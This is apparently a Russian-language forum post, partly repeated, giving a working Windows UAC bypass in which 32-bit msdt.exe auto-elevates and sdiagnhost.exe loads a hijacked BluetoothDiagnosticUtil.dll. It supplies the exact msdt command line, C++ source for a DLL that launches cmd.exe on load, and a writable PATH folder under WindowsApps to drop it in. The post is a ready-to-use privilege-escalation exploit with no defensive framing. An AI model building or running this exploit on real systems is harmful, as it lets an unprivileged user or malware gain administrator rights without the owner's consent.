Теория
Microsoft Support Diagnostic Tool ( MSDT, msdt.exe ) поддерживает автоматическое повышение прав. MSDT использует xml-конфигурации диагностических пакетов, некоторые из которых требуют прав администратора. Эти пакеты находятся по пути: c:\windows\diagnostics\index. Пакеты которым нужны права содержат в себе следующую строчку.
Если запустить 32-х битную версию msdt.exe ( c:\windows\syswow64\msdt.exe ) с BluetoothDiagnostic конфигом, то можно заабьюзить длл.
Что происходит? Запускается msdt.exe, а затем автоэливейтится ( повышает права ) и запускает sdiagnhost.exe. sdiagnhost.exe ищет BluetoothDiagnosticUtil.dll в системных путях.
POC
Компилим нашу BluetoothDiagnosticUtil.dll ( x86 ).
Кидаем по любому пути в PATH, но в нашем случае нам нужно дропнуть дллку без прав. Путь %appdata%\Local\Microsoft\WindowsApps, находится в PATH и не требует прав. И проверяем командой:
credits: Emeric Nasi
Microsoft Support Diagnostic Tool ( MSDT, msdt.exe ) поддерживает автоматическое повышение прав. MSDT использует xml-конфигурации диагностических пакетов, некоторые из которых требуют прав администратора. Эти пакеты находятся по пути: c:\windows\diagnostics\index. Пакеты которым нужны права содержат в себе следующую строчку.
XML:
<?xml version="1.0" encoding="utf-8"?>
<PackageConfiguration xmlns="http://www.microsoft.com/schemas/dcm/configuration/2008">
...
<Id>AppsDiagnostic</Id>
<RequiresAdminPrivileges>true</RequiresAdminPrivileges> /** тут**/
...
</Index>
</PackageConfiguration>
Если запустить 32-х битную версию msdt.exe ( c:\windows\syswow64\msdt.exe ) с BluetoothDiagnostic конфигом, то можно заабьюзить длл.
Код:
c:\windows\syswow64\msdt.exe -path C:\WINDOWS\diagnostics\index\BluetoothDiagnostic.xml -skip yes
POC
Компилим нашу BluetoothDiagnosticUtil.dll ( x86 ).
C++:
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE h, DWORD reason, LPVOID) {
if (reason == DLL_PROCESS_ATTACH) {
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);
wchar_t cmd[] = L"cmd.exe";
CreateProcessW(
NULL,
cmd,
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi
);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
return TRUE;
}
Кидаем по любому пути в PATH, но в нашем случае нам нужно дропнуть дллку без прав. Путь %appdata%\Local\Microsoft\WindowsApps, находится в PATH и не требует прав. И проверяем командой:
Код:
c:\windows\syswow64\msdt.exe -path C:\WINDOWS\diagnostics\index\BluetoothDiagnostic.xml -skip yes
credits: Emeric Nasi